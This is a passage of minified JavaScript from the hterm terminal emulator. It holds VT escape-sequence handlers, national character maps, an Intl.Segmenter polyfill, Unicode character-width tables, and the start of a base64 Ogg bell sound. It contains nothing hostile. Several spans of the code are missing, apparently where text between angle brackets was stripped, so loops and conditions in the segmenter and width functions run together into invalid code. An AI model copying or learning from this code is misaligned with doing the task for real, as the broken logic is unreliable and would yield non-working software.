bottom=args[1]?parseInt(args[1],10):this.terminal.screenSize.height;if(top<0||bottom>this.terminal.screenSize.height||bottom<=top){return}this.terminal.setVTScrollRegion(top===0?null:top-1,bottom-1);this.terminal.setCursorPosition(0,0)};hterm.VT.CSI["?r"]=hterm.VT.ignore;hterm.VT.CSI["$r"]=hterm.VT.ignore;hterm.VT.CSI["s"]=function(){this.terminal.saveCursorAndState()};hterm.VT.CSI["?s"]=hterm.VT.ignore;hterm.VT.CSI["t"]=hterm.VT.ignore;hterm.VT.CSI["$t"]=hterm.VT.ignore;hterm.VT.CSI[">t"]=hterm.VT.ignore;hterm.VT.CSI[" t"]=hterm.VT.ignore;hterm.VT.CSI["u"]=function(){this.terminal.restoreCursorAndState()};hterm.VT.CSI[" u"]=hterm.VT.ignore;hterm.VT.CSI["$v"]=hterm.VT.ignore;hterm.VT.CSI["'w"]=hterm.VT.ignore;hterm.VT.CSI["x"]=hterm.VT.ignore;hterm.VT.CSI["*x"]=hterm.VT.ignore;hterm.VT.CSI["$x"]=hterm.VT.ignore;hterm.VT.CSI["z"]=function(parseState){if(parseState.args.length<1){return}const arg=parseState.args[0];if(arg==0){if(parseState.args.length<2){return}this.terminal.getTextAttributes().tileData=parseState.args[1]}else if(arg==1){this.terminal.getTextAttributes().tileData=null}};hterm.VT.CSI["'z"]=hterm.VT.ignore;hterm.VT.CSI["$z"]=hterm.VT.ignore;hterm.VT.CSI["'{"]=hterm.VT.ignore;hterm.VT.CSI["'|"]=hterm.VT.ignore;hterm.VT.CSI["'}"]=hterm.VT.ignore;hterm.VT.CSI["'~"]=hterm.VT.ignore;hterm.VT.CharacterMap=function(description,glmap){this.description=description;this.GL=null;this.glmapBase_=glmap;this.sync_()};hterm.VT.CharacterMap.prototype.sync_=function(glmap=undefined){if(!this.glmapBase_&&!glmap){this.GL=null;delete this.glmap_;delete this.glre_;return}if(glmap){this.glmap_=Object.assign({},this.glmapBase_,glmap)}else{this.glmap_=this.glmapBase_}const glchars=Object.keys(lib.notNull(this.glmap_)).map(key=>"\\x"+lib.f.zpad(key.charCodeAt(0).toString(16),2));this.glre_=new RegExp("["+glchars.join("")+"]","g");this.GL=str=>str.replace(this.glre_,ch=>this.glmap_[ch])};hterm.VT.CharacterMap.prototype.reset=function(){if(this.glmap_!==this.glmapBase_){this.sync_()}};hterm.VT.CharacterMap.prototype.setOverrides=function(glmap){this.sync_(glmap)};hterm.VT.CharacterMap.prototype.clone=function(){const map=new hterm.VT.CharacterMap(this.description,this.glmapBase_);if(this.glmap_!==this.glmapBase_){map.setOverrides(this.glmap_)}return map};hterm.VT.CharacterMaps=function(){this.maps_=hterm.VT.CharacterMaps.DefaultMaps;this.mapsBase_=this.maps_};hterm.VT.CharacterMaps.prototype.getMap=function(name){if(this.maps_.hasOwnProperty(name)){return this.maps_[name]}else{return undefined}};hterm.VT.CharacterMaps.prototype.addMap=function(name,map){if(this.maps_===this.mapsBase_){this.maps_=Object.assign({},this.mapsBase_)}this.maps_[name]=map};hterm.VT.CharacterMaps.prototype.reset=function(){if(this.maps_!==hterm.VT.CharacterMaps.DefaultMaps){this.maps_=hterm.VT.CharacterMaps.DefaultMaps}};hterm.VT.CharacterMaps.prototype.setOverrides=function(maps){if(this.maps_===this.mapsBase_){this.maps_=Object.assign({},this.mapsBase_)}for(const name in maps){const map=this.getMap(name);if(map!==undefined){this.maps_[name]=map.clone();this.maps_[name].setOverrides(maps[name])}else{this.addMap(name,new hterm.VT.CharacterMap("user "+name,maps[name]))}}};hterm.VT.CharacterMaps.DefaultMaps={};hterm.VT.CharacterMaps.DefaultMaps["0"]=new hterm.VT.CharacterMap("graphic",{"`":"◆",a:"▒",b:"␉",c:"␌",d:"␍",e:"␊",f:"°",g:"±",h:"␤",i:"␋",j:"┘",k:"┐",l:"┌",m:"└",n:"┼",o:"⎺",p:"⎻",q:"─",r:"⎼",s:"⎽",t:"├",u:"┤",v:"┴",w:"┬",x:"│",y:"≤",z:"≥","{":"π","|":"≠","}":"£","~":"·"});hterm.VT.CharacterMaps.DefaultMaps["A"]=new hterm.VT.CharacterMap("british",{"#":"£"});hterm.VT.CharacterMaps.DefaultMaps["B"]=new hterm.VT.CharacterMap("us",null);hterm.VT.CharacterMaps.DefaultMaps["4"]=new hterm.VT.CharacterMap("dutch",{"#":"£","@":"¾","[":"IJ","\\":"½","]":"|","{":"¨","|":"f","}":"¼","~":"´"});hterm.VT.CharacterMaps.DefaultMaps["C"]=hterm.VT.CharacterMaps.DefaultMaps["5"]=new hterm.VT.CharacterMap("finnish",{"[":"Ä","\\":"Ö","]":"Å","^":"Ü","`":"é","{":"ä","|":"ö","}":"å","~":"ü"});hterm.VT.CharacterMaps.DefaultMaps["R"]=new hterm.VT.CharacterMap("french",{"#":"£","@":"à","[":"°","\\":"ç","]":"§","{":"é","|":"ù","}":"è","~":"¨"});hterm.VT.CharacterMaps.DefaultMaps["Q"]=new hterm.VT.CharacterMap("french canadian",{"@":"à","[":"â","\\":"ç","]":"ê","^":"î","`":"ô","{":"é","|":"ù","}":"è","~":"û"});hterm.VT.CharacterMaps.DefaultMaps["K"]=new hterm.VT.CharacterMap("german",{"@":"§","[":"Ä","\\":"Ö","]":"Ü","{":"ä","|":"ö","}":"ü","~":"ß"});hterm.VT.CharacterMaps.DefaultMaps["Y"]=new hterm.VT.CharacterMap("italian",{"#":"£","@":"§","[":"°","\\":"ç","]":"é","`":"ù","{":"à","|":"ò","}":"è","~":"ì"});hterm.VT.CharacterMaps.DefaultMaps["E"]=hterm.VT.CharacterMaps.DefaultMaps["6"]=new hterm.VT.CharacterMap("norwegian/danish",{"@":"Ä","[":"Æ","\\":"Ø","]":"Å","^":"Ü","`":"ä","{":"æ","|":"ø","}":"å","~":"ü"});hterm.VT.CharacterMaps.DefaultMaps["Z"]=new hterm.VT.CharacterMap("spanish",{"#":"£","@":"§","[":"¡","\\":"Ñ","]":"¿","{":"°","|":"ñ","}":"ç"});hterm.VT.CharacterMaps.DefaultMaps["7"]=hterm.VT.CharacterMaps.DefaultMaps["H"]=new hterm.VT.CharacterMap("swedish",{"@":"É","[":"Ä","\\":"Ö","]":"Å","^":"Ü","`":"é","{":"ä","|":"ö","}":"å","~":"ü"});hterm.VT.CharacterMaps.DefaultMaps["="]=new hterm.VT.CharacterMap("swiss",{"#":"ù","@":"à","[":"é","\\":"ç","]":"ê","^":"î",_:"è","`":"ô","{":"ä","|":"ö","}":"ü","~":"û"});(function(global){if("Intl"in global&&"Segmenter"in global.Intl){return}global.Intl=global.Intl||{};const GRANULARITIES=["grapheme","word","sentence","line"];const RULES={grapheme:{grapheme:/^(.|\n)/},word:{letter:/^[a-z](?:'?[a-z])*/i,number:/^\d+([,.]\d+)*/},sentence:{terminator:/^[^.?!\r\n]+[.?!]+[\r\n]?/,separator:/^[^.?!\r\n]+[\r\n]?/},line:{hard:/^\S*[\r\n]/,soft:/^\S*\s*/}};function fixBreakType(value,granularity){const ruleStatus={none:0,number:100,letter:200,kana:300,ideo:400,unknown:-1}[value]||0;switch(granularity){case"character":return undefined;case"word":return value;case"sentence":return{0:"terminator",100:"separator"}[ruleStatus]||value;case"line":return{0:"soft",100:"hard"}[ruleStatus]||value;default:return value}}function segment(locale,granularity,string){const breaks=[];if("v8BreakIterator"in global.Intl){if(granularity==="grapheme"){granularity="character"}const vbi=new global.Intl.v8BreakIterator(locale,{type:granularity});vbi.adoptText(string);let last=0;let pos=vbi.next();while(pos!==-1){breaks.push({pos:vbi.current(),segment:string.slice(last,pos),breakType:fixBreakType(vbi.breakType(),granularity)});last=pos;pos=vbi.next()}}else{const rules=RULES[granularity];let pos=0;while(pos=this._breaks.length){this._type=undefined;return{done:true,value:undefined}}this._type=this._breaks[this._cur].breakType;return{done:false,value:{segment:this._breaks[this._cur].segment,breakType:this._breaks[this._cur].breakType}}}following(index=undefined){if(!this._breaks.length){return true}if(index===undefined){if(this._cur=this._breaks.length}preceding(index=undefined){if(!this._breaks.length){return true}if(index===undefined){if(this._cur>=this._breaks.length){--this._cur}if(this._cur>=0){--this._cur}}else{for(this._cur=this._breaks.length-1;this._cur>=0&&this._breaks[this._cur].pos>=index;--this._cur){}}this._type=this._cur+1>=this._breaks.length?undefined:this._breaks[this._cur+1].breakType;return this._cur<0}get position(){if(this._cur<0||!this._breaks.length){return 0}if(this._cur>=this._breaks.length){return this._breaks[this._breaks.length-1].pos}return this._breaks[this._cur].pos}get breakType(){return this._type}}global.Intl.Segmenter=class Segmenter{constructor(locale,{localeMatcher,granularity="grapheme"}={}){this._locale=Array.isArray(locale)?locale.map(s=>String(s)):String(locale||navigator.language);this._granularity=GRANULARITIES.includes(granularity)?granularity:"grapheme"}segment(string){return new $SegmentIterator$(string,segment(this._locale,this._granularity,string))}}})(typeof globalThis!=="undefined"?globalThis:typeof window!=="undefined"?window:typeof global!=="undefined"?global:{});hterm.wc={};hterm.wc.nulWidth=0;hterm.wc.controlWidth=0;hterm.wc.regardCjkAmbiguous=false;hterm.wc.cjkAmbiguousWidth=2;hterm.wc.combining=[[173,173],[768,879],[1155,1161],[1425,1469],[1471,1471],[1473,1474],[1476,1477],[1479,1479],[1552,1562],[1564,1564],[1611,1631],[1648,1648],[1750,1756],[1759,1764],[1767,1768],[1770,1773],[1809,1809],[1840,1866],[1958,1968],[2027,2035],[2045,2045],[2070,2073],[2075,2083],[2085,2087],[2089,2093],[2137,2139],[2200,2207],[2250,2273],[2275,2306],[2362,2362],[2364,2364],[2369,2376],[2381,2381],[2385,2391],[2402,2403],[2433,2433],[2492,2492],[2497,2500],[2509,2509],[2530,2531],[2558,2558],[2561,2562],[2620,2620],[2625,2626],[2631,2632],[2635,2637],[2641,2641],[2672,2673],[2677,2677],[2689,2690],[2748,2748],[2753,2757],[2759,2760],[2765,2765],[2786,2787],[2810,2815],[2817,2817],[2876,2876],[2879,2879],[2881,2884],[2893,2893],[2901,2902],[2914,2915],[2946,2946],[3008,3008],[3021,3021],[3072,3072],[3076,3076],[3132,3132],[3134,3136],[3142,3144],[3146,3149],[3157,3158],[3170,3171],[3201,3201],[3260,3260],[3263,3263],[3270,3270],[3276,3277],[3298,3299],[3328,3329],[3387,3388],[3393,3396],[3405,3405],[3426,3427],[3457,3457],[3530,3530],[3538,3540],[3542,3542],[3633,3633],[3636,3642],[3655,3662],[3761,3761],[3764,3772],[3784,3790],[3864,3865],[3893,3893],[3895,3895],[3897,3897],[3953,3966],[3968,3972],[3974,3975],[3981,3991],[3993,4028],[4038,4038],[4141,4144],[4146,4151],[4153,4154],[4157,4158],[4184,4185],[4190,4192],[4209,4212],[4226,4226],[4229,4230],[4237,4237],[4253,4253],[4448,4607],[4957,4959],[5906,5908],[5938,5939],[5970,5971],[6002,6003],[6068,6069],[6071,6077],[6086,6086],[6089,6099],[6109,6109],[6155,6159],[6277,6278],[6313,6313],[6432,6434],[6439,6440],[6450,6450],[6457,6459],[6679,6680],[6683,6683],[6742,6742],[6744,6750],[6752,6752],[6754,6754],[6757,6764],[6771,6780],[6783,6783],[6832,6862],[6912,6915],[6964,6964],[6966,6970],[6972,6972],[6978,6978],[7019,7027],[7040,7041],[7074,7077],[7080,7081],[7083,7085],[7142,7142],[7144,7145],[7149,7149],[7151,7153],[7212,7219],[7222,7223],[7376,7378],[7380,7392],[7394,7400],[7405,7405],[7412,7412],[7416,7417],[7616,7679],[8203,8207],[8234,8238],[8288,8292],[8294,8303],[8400,8432],[11503,11505],[11647,11647],[11744,11775],[12330,12333],[12441,12442],[42607,42610],[42612,42621],[42654,42655],[42736,42737],[43010,43010],[43014,43014],[43019,43019],[43045,43046],[43052,43052],[43204,43205],[43232,43249],[43263,43263],[43302,43309],[43335,43345],[43392,43394],[43443,43443],[43446,43449],[43452,43453],[43493,43493],[43561,43566],[43569,43570],[43573,43574],[43587,43587],[43596,43596],[43644,43644],[43696,43696],[43698,43700],[43703,43704],[43710,43711],[43713,43713],[43756,43757],[43766,43766],[44005,44005],[44008,44008],[44013,44013],[64286,64286],[65024,65039],[65056,65071],[65279,65279],[65529,65531],[66045,66045],[66272,66272],[66422,66426],[68097,68099],[68101,68102],[68108,68111],[68152,68154],[68159,68159],[68325,68326],[68900,68903],[69291,69292],[69373,69375],[69446,69456],[69506,69509],[69633,69633],[69688,69702],[69744,69744],[69747,69748],[69759,69761],[69811,69814],[69817,69818],[69826,69826],[69888,69890],[69927,69931],[69933,69940],[70003,70003],[70016,70017],[70070,70078],[70089,70092],[70095,70095],[70191,70193],[70196,70196],[70198,70199],[70206,70206],[70209,70209],[70367,70367],[70371,70378],[70400,70401],[70459,70460],[70464,70464],[70502,70508],[70512,70516],[70712,70719],[70722,70724],[70726,70726],[70750,70750],[70835,70840],[70842,70842],[70847,70848],[70850,70851],[71090,71093],[71100,71101],[71103,71104],[71132,71133],[71219,71226],[71229,71229],[71231,71232],[71339,71339],[71341,71341],[71344,71349],[71351,71351],[71453,71455],[71458,71461],[71463,71467],[71727,71735],[71737,71738],[71995,71996],[71998,71998],[72003,72003],[72148,72151],[72154,72155],[72160,72160],[72193,72202],[72243,72248],[72251,72254],[72263,72263],[72273,72278],[72281,72283],[72330,72342],[72344,72345],[72752,72758],[72760,72765],[72767,72767],[72850,72871],[72874,72880],[72882,72883],[72885,72886],[73009,73014],[73018,73018],[73020,73021],[73023,73029],[73031,73031],[73104,73105],[73109,73109],[73111,73111],[73459,73460],[73472,73473],[73526,73530],[73536,73536],[73538,73538],[78896,78912],[78919,78933],[92912,92916],[92976,92982],[94031,94031],[94095,94098],[94180,94180],[113821,113822],[113824,113827],[118528,118573],[118576,118598],[119143,119145],[119155,119170],[119173,119179],[119210,119213],[119362,119364],[121344,121398],[121403,121452],[121461,121461],[121476,121476],[121499,121503],[121505,121519],[122880,122886],[122888,122904],[122907,122913],[122915,122916],[122918,122922],[123023,123023],[123184,123190],[123566,123566],[123628,123631],[124140,124143],[125136,125142],[125252,125258],[917505,917505],[917536,917631],[917760,917999]];hterm.wc.ambiguous=[[161,161],[164,164],[167,168],[170,170],[173,174],[176,180],[182,186],[188,191],[198,198],[208,208],[215,216],[222,225],[230,230],[232,234],[236,237],[240,240],[242,243],[247,250],[252,252],[254,254],[257,257],[273,273],[275,275],[283,283],[294,295],[299,299],[305,307],[312,312],[319,322],[324,324],[328,331],[333,333],[338,339],[358,359],[363,363],[462,462],[464,464],[466,466],[468,468],[470,470],[472,472],[474,474],[476,476],[593,593],[609,609],[708,708],[711,711],[713,715],[717,717],[720,720],[728,731],[733,733],[735,735],[768,879],[913,929],[931,937],[945,961],[963,969],[1025,1025],[1040,1103],[1105,1105],[4352,4447],[8208,8208],[8211,8214],[8216,8217],[8220,8221],[8224,8226],[8228,8231],[8240,8240],[8242,8243],[8245,8245],[8251,8251],[8254,8254],[8308,8308],[8319,8319],[8321,8324],[8364,8364],[8451,8451],[8453,8453],[8457,8457],[8467,8467],[8470,8470],[8481,8482],[8486,8486],[8491,8491],[8531,8532],[8539,8542],[8544,8555],[8560,8569],[8585,8585],[8592,8601],[8632,8633],[8658,8658],[8660,8660],[8679,8679],[8704,8704],[8706,8707],[8711,8712],[8715,8715],[8719,8719],[8721,8721],[8725,8725],[8730,8730],[8733,8736],[8739,8739],[8741,8741],[8743,8748],[8750,8750],[8756,8759],[8764,8765],[8776,8776],[8780,8780],[8786,8786],[8800,8801],[8804,8807],[8810,8811],[8814,8815],[8834,8835],[8838,8839],[8853,8853],[8857,8857],[8869,8869],[8895,8895],[8978,8978],[8986,8987],[9001,9002],[9193,9196],[9200,9200],[9203,9203],[9312,9449],[9451,9547],[9552,9587],[9600,9615],[9618,9621],[9632,9633],[9635,9641],[9650,9651],[9654,9655],[9660,9661],[9664,9665],[9670,9672],[9675,9675],[9678,9681],[9698,9701],[9711,9711],[9725,9726],[9733,9734],[9737,9737],[9742,9743],[9748,9749],[9756,9756],[9758,9758],[9792,9792],[9794,9794],[9800,9811],[9824,9825],[9827,9829],[9831,9834],[9836,9837],[9839,9839],[9855,9855],[9875,9875],[9886,9887],[9889,9889],[9898,9899],[9917,9919],[9924,9953],[9955,9955],[9960,9983],[9989,9989],[9994,9995],[10024,10024],[10045,10045],[10060,10060],[10062,10062],[10067,10069],[10071,10071],[10102,10111],[10133,10135],[10160,10160],[10175,10175],[11035,11036],[11088,11088],[11093,11097],[11904,12255],[12272,12350],[12352,19903],[19968,42191],[43360,43391],[44032,55203],[57344,64255],[65024,65049],[65072,65135],[65281,65376],[65504,65510],[65533,65533],[94176,94180],[94192,94193],[94208,101589],[101632,101640],[110576,110579],[110581,110587],[110589,110590],[110592,110895],[110898,110898],[110928,110930],[110933,110933],[110948,110951],[110960,111359],[126980,126980],[127183,127183],[127232,127242],[127248,127277],[127280,127337],[127344,127404],[127488,127490],[127504,127547],[127552,127560],[127568,127569],[127584,127589],[127744,127776],[127789,127797],[127799,127868],[127870,127891],[127904,127946],[127951,127955],[127968,127984],[127988,127988],[127992,128062],[128064,128064],[128066,128252],[128255,128317],[128331,128334],[128336,128359],[128378,128378],[128405,128406],[128420,128420],[128507,128591],[128640,128709],[128716,128716],[128720,128722],[128725,128727],[128732,128735],[128747,128748],[128756,128764],[128992,129003],[129008,129008],[129292,129338],[129340,129349],[129351,129535],[129648,129660],[129664,129672],[129680,129725],[129727,129733],[129742,129755],[129760,129768],[129776,129784],[131072,196605],[196608,262141],[917760,917999],[983040,1048573],[1048576,1114109]];hterm.wc.unambiguous=[[4352,4447],[8986,8987],[9001,9002],[9193,9196],[9200,9200],[9203,9203],[9725,9726],[9748,9749],[9800,9811],[9855,9855],[9875,9875],[9889,9889],[9898,9899],[9917,9918],[9924,9925],[9934,9934],[9940,9940],[9962,9962],[9970,9971],[9973,9973],[9978,9978],[9981,9981],[9989,9989],[9994,9995],[10024,10024],[10060,10060],[10062,10062],[10067,10069],[10071,10071],[10133,10135],[10160,10160],[10175,10175],[11035,11036],[11088,11088],[11093,11093],[11904,12255],[12272,12350],[12352,12871],[12880,19903],[19968,42191],[43360,43391],[44032,55203],[63744,64255],[65040,65049],[65072,65135],[65281,65376],[65504,65510],[94176,94180],[94192,94193],[94208,101589],[101632,101640],[110576,110579],[110581,110587],[110589,110590],[110592,110895],[110898,110898],[110928,110930],[110933,110933],[110948,110951],[110960,111359],[126980,126980],[127183,127183],[127374,127374],[127377,127386],[127488,127490],[127504,127547],[127552,127560],[127568,127569],[127584,127589],[127744,127776],[127789,127797],[127799,127868],[127870,127891],[127904,127946],[127951,127955],[127968,127984],[127988,127988],[127992,128062],[128064,128064],[128066,128252],[128255,128317],[128331,128334],[128336,128359],[128378,128378],[128405,128406],[128420,128420],[128507,128591],[128640,128709],[128716,128716],[128720,128722],[128725,128727],[128732,128735],[128747,128748],[128756,128764],[128992,129003],[129008,129008],[129292,129338],[129340,129349],[129351,129535],[129648,129660],[129664,129672],[129680,129725],[129727,129733],[129742,129755],[129760,129768],[129776,129784],[131072,196605],[196608,262141]];hterm.wc.binaryTableSearch_=function(ucs,table){let min=0;let max=table.length-1;let mid;if(ucstable[max][1]){return false}while(max>=min){mid=Math.floor((min+max)/2);if(ucs>table[mid][1]){min=mid+1}else if(ucs=32){return 1}else if(ucs==0){return hterm.wc.nulWidth}else{return hterm.wc.controlWidth}}if(ucs<160){return hterm.wc.controlWidth}if(hterm.wc.isSpace(ucs)){return 0}return hterm.wc.binaryTableSearch_(ucs,hterm.wc.unambiguous)?2:1};hterm.wc.charWidthRegardAmbiguous=function(ucs){if(hterm.wc.isCjkAmbiguous(ucs)){return hterm.wc.cjkAmbiguousWidth}return hterm.wc.charWidthDisregardAmbiguous(ucs)};hterm.wc.strWidth=function(str){let rv=0;for(let i=0;istart){break}startIndex+=codePoint<=65535?1:2}}if(subwidth!==undefined){let endIndex=startIndex;for(let width=0;endIndexsubwidth){break}endIndex+=codePoint<=65535?1:2}return str.substring(startIndex,endIndex)}return str.substr(startIndex)};hterm.wc.substring=function(str,start,end){return hterm.wc.substr(str,start,end-start)};lib.resource.add("hterm/audio/bell","audio/ogg;base64","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"+"VbVtzzRl2VRV3RZV1bZl2xZ+V5Z13zNNWRZV1dZNVbV115Z9X9ZtXZg0zTQ1UVRVTRRV1VRV2zZV"+"17Y1UXRVUVVlWVRVWXZlWfdVV9Z9SxRV1VNN2RVVVbZV2fVtVZZ94XRVXVdl2fdVWRZ+W9eF4fZ9"+"4RhV1dZN19V1VZZ9YdZlYbd13yhpmmlqoqiqmiiqqqmqtm2qrq1bouiqoqrKsmeqrqzKsq+rrmzr"+"miiqrqiqsiyqqiyrsqz7qizrtqiquq3KsrCbrqvrtu8LwyzrunCqrq6rsuz7qizruq3rxnHrujB8"+"pinLpqvquqm6um7runHMtm0co6rqvirLwrDKsu/rui+0dSFRVXXdlF3jV2VZ921fd55b94WybTu/"+"rfvKceu60vg5z28cubZtHLNuG7+t+8bzKz9hOI6lZ5q2baqqrZuqq+uybivDrOtCUVV9XZVl3zdd"+"WRdu3zeOW9eNoqrquirLvrDKsjHcxm8cuzAcXds2jlvXnbKtC31jyPcJz2vbxnH7OuP2daOvDAnH"+"jwAAgAEHAIAAE8pAoSErAoA4AQAGIecUUxAqxSB0EFLqIKRUMQYhc05KxRyUUEpqIZTUKsYgVI5J"+"yJyTEkpoKZTSUgehpVBKa6GU1lJrsabUYu0gpBZKaS2U0lpqqcbUWowRYxAy56RkzkkJpbQWSmkt"+"c05K56CkDkJKpaQUS0otVsxJyaCj0kFIqaQSU0mptVBKa6WkFktKMbYUW24x1hxKaS2kEltJKcYU"+"U20txpojxiBkzknJnJMSSmktlNJa5ZiUDkJKmYOSSkqtlZJSzJyT0kFIqYOOSkkptpJKTKGU1kpK"+"sYVSWmwx1pxSbDWU0lpJKcaSSmwtxlpbTLV1EFoLpbQWSmmttVZraq3GUEprJaUYS0qxtRZrbjHm"+"GkppraQSW0mpxRZbji3GmlNrNabWam4x5hpbbT3WmnNKrdbUUo0txppjbb3VmnvvIKQWSmktlNJi"+"ai3G1mKtoZTWSiqxlZJabDHm2lqMOZTSYkmpxZJSjC3GmltsuaaWamwx5ppSi7Xm2nNsNfbUWqwt"+"xppTS7XWWnOPufVWAADAgAMAQIAJZaDQkJUAQBQAAEGIUs5JaRByzDkqCULMOSepckxCKSlVzEEI"+"JbXOOSkpxdY5CCWlFksqLcVWaykptRZrLQAAoMABACDABk2JxQEKDVkJAEQBACDGIMQYhAYZpRiD"+"0BikFGMQIqUYc05KpRRjzknJGHMOQioZY85BKCmEUEoqKYUQSkklpQIAAAocAAACbNCUWByg0JAV"+"AUAUAABgDGIMMYYgdFQyKhGETEonqYEQWgutddZSa6XFzFpqrbTYQAithdYySyXG1FpmrcSYWisA"+"AOzAAQDswEIoNGQlAJAHAEAYoxRjzjlnEGLMOegcNAgx5hyEDirGnIMOQggVY85BCCGEzDkIIYQQ"+"QuYchBBCCKGDEEIIpZTSQQghhFJK6SCEEEIppXQQQgihlFIKAAAqcAAACLBRZHOCkaBCQ1YCAHkA"+"AIAxSjkHoZRGKcYglJJSoxRjEEpJqXIMQikpxVY5B6GUlFrsIJTSWmw1dhBKaS3GWkNKrcVYa64h"+"pdZirDXX1FqMteaaa0otxlprzbkAANwFBwCwAxtFNicYCSo0ZCUAkAcAgCCkFGOMMYYUYoox55xD"+"CCnFmHPOKaYYc84555RijDnnnHOMMeecc845xphzzjnnHHPOOeecc44555xzzjnnnHPOOeecc845"+"55xzzgkAACpwAAAIsFFkc4KRoEJDVgIAqQAAABFWYowxxhgbCDHGGGOMMUYSYowxxhhjbDHGGGOM"+"McaYYowxxhhjjDHGGGOMMcYYY4wxxhhjjDHGGGOMMcYYY4wxxhhjjDHGGGOMMcYYY4wxxhhjjDHG"+"GFtrrbXWWmuttdZaa6211lprrQBAvwoHAP8HG1ZHOCkaCyw0ZCUAEA4AABjDmHOOOQYdhIYp6KSE"+"DkIIoUNKOSglhFBKKSlzTkpKpaSUWkqZc1JSKiWlllLqIKTUWkottdZaByWl1lJqrbXWOgiltNRa"+"a6212EFIKaXWWostxlBKSq212GKMNYZSUmqtxdhirDGk0lJsLcYYY6yhlNZaazHGGGstKbXWYoy1"+"xlprSam11mKLNdZaCwDgbnAAgEiwcYaVpLPC0eBCQ1YCACEBAARCjDnnnHMQQgghUoox56CDEEII"+"IURKMeYcdBBCCCGEjDHnoIMQQgghhJAx5hx0EEIIIYQQOucchBBCCKGEUkrnHHQQQgghlFBC6SCE"+"EEIIoYRSSikdhBBCKKGEUkopJYQQQgmllFJKKaWEEEIIoYQSSimllBBCCKWUUkoppZQSQgghlFJK"+"KaWUUkIIoZRQSimllFJKCCGEUkoppZRSSgkhhFBKKaWUUkopIYQSSimllFJKKaUAAIADBwCAACPo"+"JKPKImw04cIDUGjISgCADAAAcdhq6ynWyCDFnISWS4SQchBiLhFSijlHsWVIGcUY1ZQxpRRTUmvo"+"nGKMUU+dY0oxw6yUVkookYLScqy1dswBAAAgCAAwECEzgUABFBjIAIADhAQpAKCwwNAxXAQE5BIy"+"CgwKx4Rz0mkDABCE